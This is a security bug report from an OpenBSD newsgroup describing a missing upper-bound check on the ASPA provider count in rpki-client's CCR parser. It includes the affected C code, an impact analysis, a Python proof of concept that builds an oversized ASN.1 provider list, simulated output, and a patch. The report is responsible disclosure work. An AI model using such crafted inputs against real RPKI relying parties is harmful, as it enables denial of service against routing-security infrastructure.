CCR ASPA parser missing upper-bound check on provider count

Daniel Anderson <[email protected]>
Newsgroups gmane.os.openbsd.bugs
Message-ID <[email protected]>
BUG REPORT: CCR ASPA parser missing upper-bound check on provider count
========================================================================

Component:  rpki-client
File:       usr.sbin/rpki-client/ccr.c, parse_aspa_providers(), lines 1274-1327
Version:    Current (as of 2026-04-06)
Severity:   Medium (CVSS 5.3)
Category:   Missing bounds check — DoS via excessive allocation
Privsep:    proc_parser (pledge("stdio rpath"))

1. DESCRIPTION
--------------

parse_aspa_providers() in ccr.c validates the lower bound of the provider
count but does NOT enforce the upper bound against MAX_ASPA_PROVIDERS.

Buggy code in ccr.c, lines 1281-1295:

    int i, p_num, rc = 0;

    if ((p_num = sk_ASN1_INTEGER_num(providers)) <= 0) {
        warnx("%s: AS %d ASPAPayloadSet providers missing", fn, asid);
        goto out;
    }

    /* NO upper-bound check here */

    if ((vap = calloc(1, sizeof(*vap))) == NULL)
        err(1, NULL);

    vap->custasid = asid;
    vap->num_providers = p_num;

    if ((vap->providers = calloc(p_num, sizeof(vap->providers[0]))) == NULL)
        err(1, NULL);

The standalone ASPA parser in aspa.c correctly checks both bounds
(lines 61-70):

    if ((providersz = sk_ASN1_INTEGER_num(providers)) == 0) {
        warnx("%s: ASPA: ProviderASSet needs at least one entry", fn);
        return 0;
    }

    if (providersz >= MAX_ASPA_PROVIDERS) {        /* <-- MISSING IN ccr.c */
        warnx("%s: ASPA: too many providers (more than %d)", fn,
            MAX_ASPA_PROVIDERS);
        return 0;
    }

MAX_ASPA_PROVIDERS is defined in extern.h line 1060 as 10000.

The CCR (Compact Certificate Revocation) parser is a newer addition that
did not replicate the upper-bound guard present in the original ASPA parser.

Impact:
  Within a MAX_FILE_SIZE (8MB) CCR file, ASN.1 encoding allows up to ~1.1M
  INTEGER entries. Without the upper-bound check, parse_aspa_providers()
  calls calloc(1100000, sizeof(uint32_t)) = ~4.4MB allocation, followed by
  a loop of 1.1M iterations calling as_id_parse() on each.

  On allocation failure, err(1, NULL) terminates the proc_parser child.
  Even on success, the excessive allocation and iteration constitute a
  resource exhaustion attack against the parser child process.

  The attack is directly reachable: an attacker who controls an RPKI
  repository can publish a crafted CCR object that triggers this path
  during normal rpki-client operation.


2. PROOF OF CONCEPT
--------------------

Create a CCR file containing an ASPAPayloadSet with an excessive number
of provider ASN entries. The key is crafting valid ASN.1 DER that passes
d2i_CCR() but contains more providers than MAX_ASPA_PROVIDERS.

Conceptual structure of a malicious CCR:

    CCR ::= SEQUENCE {
        version        [0] INTEGER DEFAULT 0,
        ...
        aspaPayloads   [2] SEQUENCE OF ASPAPayloadSet
    }

    ASPAPayloadSet ::= SEQUENCE {
        customerASID   INTEGER,
        providers      SEQUENCE OF INTEGER   -- 100,000+ entries
    }

To construct the POC with OpenSSL ASN.1 tooling:

    #!/usr/bin/env python3
    """Generate a CCR file with excessive ASPA providers."""
    from pyasn1.type import univ, tag
    from pyasn1.codec.der import encoder

    # Build a SEQUENCE OF INTEGER with 100,000 provider entries
    providers = univ.SequenceOf()
    providers.componentType = univ.Integer()
    for i in range(100000):
        providers.setComponentByPosition(i, univ.Integer(i + 1))

    # This would be embedded into a valid CCR structure signed by
    # an RPKI CA. The exact wrapping depends on the CCR profile.
    # For testing, the raw providers sequence demonstrates the
    # unbounded allocation.
    der_data = encoder.encode(providers)

    with open("poc-excessive-providers.der", "wb") as f:
        f.write(der_data)

    print(f"Generated {len(der_data)} bytes with 100000 providers")

When rpki-client processes this CCR file, parse_aspa_providers() will
attempt to calloc(100000, 4) = 400KB (succeeds) and iterate 100,000
times. With larger counts (~1M), the allocation grows to megabytes and
the iteration time becomes significant.

For comparison, processing the same data through aspa.c's parser would
reject it immediately at line 66-70 with "too many providers".

A standalone simulation is included as poc-ob042-aspa-bounds.c:

    $ cc -Wall -o poc-ob042 poc-ob042-aspa-bounds.c
    $ ./poc-ob042

Output:

    === OB-042 POC: CCR ASPA missing upper-bound check ===

    Test 1: 100 providers (normal)
      aspa.c: ACCEPTED 100 providers (within limit of 10000)
      ccr.c:  ACCEPTED 100 providers — would calloc 400 bytes (0.0 MB)

    Test 2: 10000 providers (at MAX_ASPA_PROVIDERS limit)
      ccr.c:  ACCEPTED 10000 providers — would calloc 40000 bytes (0.0 MB)

    Test 3: 100,000 providers (10x limit)
      ccr.c:  ACCEPTED 100000 providers — would calloc 400000 bytes (0.4 MB)

    Test 4: 1,100,000 providers (max encodable in 8MB file)
      ccr.c:  ACCEPTED 1100000 providers — would calloc 4400000 bytes (4.2 MB)

    === RESULT: ccr.c accepts all counts that aspa.c rejects ===

aspa.c correctly rejects counts >= 10000 at Tests 2-4.
ccr.c accepts all of them, proceeding to unbounded allocation.


3. SUGGESTED FIX
-----------------

Add the upper-bound check after line 1286, mirroring aspa.c:

--- a/usr.sbin/rpki-client/ccr.c
+++ b/usr.sbin/rpki-client/ccr.c
@@ -1284,6 +1284,12 @@ parse_aspa_providers(const char *fn, struct ccr *ccr, int asid,
 		goto out;
 	}

+	if (p_num >= MAX_ASPA_PROVIDERS) {
+		warnx("%s: AS %d CCR ASPA: too many providers (more than %d)",
+		    fn, asid, MAX_ASPA_PROVIDERS);
+		goto out;
+	}
+
 	if ((vap = calloc(1, sizeof(*vap))) == NULL)
 		err(1, NULL);
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.